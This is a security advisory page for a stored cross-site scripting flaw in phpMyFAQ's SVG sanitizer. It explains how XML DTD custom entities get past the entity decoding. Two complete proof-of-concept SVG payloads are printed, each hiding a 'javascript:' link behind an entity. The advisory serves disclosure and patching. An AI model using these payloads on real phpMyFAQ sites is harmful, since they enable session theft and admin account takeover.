All vulnerabilities
GHSA-j3v5-p957-w6gq

phpMyFAQ: Stored XSS via SVG DTD Entity Bypass in SvgSanitizer

phpMyFAQ
CVSS
5.4Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in4.2.0-betaFixed versionGitHub
Published3 Oct 2026Updated 3 Oct 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

The regex-based SvgSanitizer decodes HTML entities (html_entity_decode) before pattern matching, but does not resolve XML custom entities defined in an internal DOCTYPE subset. An attacker with FAQ_EDIT permission can upload an SVG containing <!ENTITY j "javascript"> and <a href="&j;:alert(...)">. isSafe() returns true, the file is stored verbatim, and the browser's XML parser resolves the entity โ†’ XSS on click.

Distinction from CVE-2026-34974

CVE-2026-34974 (patched in 4.1.1) used HTML numeric entities (&#106;). This bypass uses XML DTD custom entities, which html_entity_decode() does not resolve. Confirmed on 4.2.0-beta (commit f22c436) โ€” isSafe()=TRUE for the DTD payload while the CVE-2026-34974 payload is correctly blocked.

Affected component

  • src/phpMyFAQ/Helper/SvgSanitizer.php (decodeAllEntities / isSafe)
  • Controller/Administration/Api/ImageController.php:147 (upload flow)

PoC Payload (valid XML, passes isSafe):

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY j "javascript">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="&j;:alert(document.domain)">
    <text x="20" y="40" fill="red">Click me</text>
  </a>
</svg>

OR

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY j "javascript">
]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 150">
  <rect width="300" height="150" fill="#c0392b" rx="10"/>
  <text x="150" y="55" text-anchor="middle" font-family="Arial" font-size="18" fill="white" font-weight="bold">phpMyFAQ XSS PoC</text>
  <a href="&j;:alert('XSS:'+document.domain)">
    <rect x="75" y="70" width="150" height="50" fill="white" rx="8" cursor="pointer"/>
    <text x="150" y="102" text-anchor="middle" font-family="Arial" font-size="16" fill="#c0392b" cursor="pointer">Click me</text>
  </a>
</svg>

Impact

  • Session hijacking: the XSS fires in the phpMyFAQ domain context, giving access to document.cookie and session tokens of any user viewing the SVG
  • Admin account takeover: an editor uploads the SVG, an admin clicks it โ†’ attacker steals admin session
  • Persistent: the SVG is stored server-side in content/user/images/, the payload fires on every view (no user interaction beyond a click)
  • No CSP protection: SVGs are served as Content-Type: image/svg+xml without Content-Disposition: attachment or script-src CSP header

<img width="1280" height="900" alt="01_login_page" src="https://github.com/user-attachments/assets/5b03b84c-d15a-4248-af6a-0bd024309dcc" /> <img width="1280" height="900" alt="02_login_filled" src="https://github.com/user-attachments/assets/e2454eb3-520c-48a9-bad7-4a44da25d3b8" /> <img width="1280" height="900" alt="03_admin_dashboard" src="https://github.com/user-attachments/assets/61197257-848c-419c-9d5e-70c99a2278a3" /> <img width="1280" height="900" alt="04_faq_add_page" src="https://github.com/user-attachments/assets/138d4934-e8f6-4159-aed5-b7efa08cd9f0" /> <img width="1280" height="900" alt="05_image_dialog" src="https://github.com/user-attachments/assets/b53f9a23-62fa-4f42-99ec-6f4e76484305" /> <img width="1280" height="900" alt="06_svg_uploaded" src="https://github.com/user-attachments/assets/941ebf5c-a753-4567-8bb5-1353fb363a79" /> <img width="1280" height="900" alt="07_after_upload" src="https://github.com/user-attachments/assets/f3edf0ad-8747-41db-bec9-2763fb376be9" /> <img width="1280" height="800" alt="08_svg_before_click" src="https://github.com/user-attachments/assets/7b5e3d49-3142-4706-9a2d-aa05298f5b90" /> <img width="1242" height="855" alt="09_xss_alert_visible" src="https://github.com/user-attachments/assets/71af7326-4247-4511-baf1-d079ac0944ee" />

Text from GitHub Advisory Database

Affected versions 1

  • phpMyFAQ<= 4.2.0-alpha.2GitHub